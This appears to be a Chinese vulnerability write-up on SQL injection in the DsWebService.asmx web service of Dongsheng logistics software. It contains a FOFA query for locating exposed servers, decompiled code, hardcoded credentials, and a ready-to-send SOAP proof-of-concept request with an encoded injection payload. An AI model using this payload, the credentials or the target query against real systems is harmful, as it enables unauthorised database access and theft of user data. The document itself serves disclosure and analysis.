东胜物流软件 DsWebService.asmx 多个SQL注入漏洞


漏洞简介

东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流信息管理系统 DsWebService.asmx 接口GetSeaiBsData、GetSeaeBsDataList、GetSeaeBsData和GetSeaiBsDataList、LoadCustomMainfastStatus、GetSeaiData等方法存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"

漏洞分析

直接看 GetSeaiBsDataList 相关实现逻辑

public string GetSeaiBsDataList(
  string LoginName,
  string LoginPass,
  string Mobile,
  string Mblno,
  int start,
  int limit)
{
  SeaiManifest seaiBsDataList = DsWebServiceDAL.GetSeaiBsDataList(LoginName, LoginPass, Mobile, Mblno, start, limit);

跟进GetSeaiBsDataList方法

public static SeaiManifest GetSeaiBsDataList(
  string LoginName,
  string LoginPass,
  string Mobile,
  string Mblno,
  int start,
  int limit)
{
  SeaiManifest seaiBsDataList = new SeaiManifest();
  if (string.op_Inequality(LoginName, "qdtaize") || string.op_Inequality(LoginPass, "EBBE3242-D49E-4398-BBFE-0133CA655EB5"))
  {
    seaiBsDataList.ERROMSG = "账号密码不正确";
    return seaiBsDataList;
  }
  T_ALL_DA tAllDa = new T_ALL_DA();
  string str = "";
  string strSql1 = tAllDa.GetStrSQL("GID", $"SELECT top 1 GID FROM user_action Where ACTIONID='4B19971E-FA7F-4528-89F3-4F740CE3D8D5' AND USERID IN (SELECT USERID FROM user_baseinfo WHERE MOBILE='{Mobile}' ) ");

存在硬编码账户密码 qdtaize:EBBE3242-D49E-4398-BBFE-0133CA655EB5

然后参数Mobile被直接拼接在MOBILE=后,无任何过滤或校验,导致SQL注入漏洞,朴实无华!

同时另外一个参数Mblno也存在同样的问题

img

img

GetSeaiBsData存在同样的问题

img

img

GetSeaeBsDataList 同样如此!

img

GetSeaeBsData亦如此!

img

GetSeaiData

public string GetSeaiData(string LoginName, string LoginPass, string Mblno, string Pono)
{
  if (string.op_Inequality(LoginName, "qdtaize") || string.op_Inequality(LoginPass, "EBBE3242-D49E-4398-BBFE-0133CA655EB5"))
    return "账号密码不正确";
  if (string.op_Equality(Mblno, "") && string.op_Equality(Pono, ""))
    return "提单号和PO号不能为空";
  if (string.op_Inequality(Mblno, ""))
  {
    MsOpSeaiHead msOpSeaiHead = new MsOpSeaiHead();
    DSWeb.MvcShipping.Models.MsOpSeai.MsOpSeai data = DSWeb.MvcShipping.DAL.MsOpSeaiDAL.MsOpSeaiDAL.GetData($"MBLNO='{Mblno}'");

存在硬编码账户密码 qdtaize:EBBE3242-D49E-4398-BBFE-0133CA655EB5

然后参数LoginName被直接拼接在MBLNO=后,无任何过滤或校验,导致SQL注入漏洞,朴实无华!

LoadCustomMainfastStatus

public string LoadCustomMainfastStatus(string Mblno)
{
  return string.op_Equality(Mblno, "") ? "" : DsWebServiceDAL.LoadBillStatus(Mblno);
}
public static string LoadBillStatus(string Mblno)
{
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.Append("SELECT CH_ID,MBLNO,CNTRNO,SEALNO,DATESTR,VOYNO,[STATUS],[FILENAME],ISPOSTED,CREATETIME");
  stringBuilder.Append(" FROM op_custom_status ");
  stringBuilder.Append($" Where MBLNO='{Mblno}' and (ISPOSTED=0 or ISPOSTED is null) ");
  stringBuilder.Append(" order by CREATETIME ");
  DataSet dataSet = new DataSet();
  Database database = DatabaseFactory.CreateDatabase();
  ManifestStatus manifestStatus = new ManifestStatus();

参数Mblno也是被直接拼接在SQL语句中执行造成SQL注入漏洞。

漏洞复现

POST /Webservice/DsWebService.asmx HTTP/1.1
Host: dongsheng.mrxn.net
Content-Type: application/soap+xml;charset=UTF-8;action="DsWebService/GetSeaiBsDataList"

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:dsw="DsWebService">
   <soap:Header/>
   <soap:Body>
      <dsw:GetSeaiBsDataList>
         <!--Optional:-->
         <dsw:LoginName>qdtaize</dsw:LoginName>
         <!--Optional:-->
         <dsw:LoginPass>EBBE3242-D49E-4398-BBFE-0133CA655EB5</dsw:LoginPass>
         <!--Optional:-->
         <dsw:Mobile>&#x31;&#x27;&#x29;&#x6f;&#x72;&#x20;&#x31;&#x3c;&#x75;&#x73;&#x65;&#x72;&#x2d;&#x2d;</dsw:Mobile>
         <!--Optional:-->
         <dsw:Mblno>1</dsw:Mblno>
         <dsw:start>1</dsw:start>
         <dsw:limit>1</dsw:limit>
      </dsw:GetSeaiBsDataList>
   </soap:Body>
</soap:Envelope>

通过报错注入在响应里回显数据库版本信息。


手机扫码阅读

金和OA FileUpload.aspx 文件读取漏洞

东胜物流软件 UpdateCustomMainfast XXE漏洞

评 论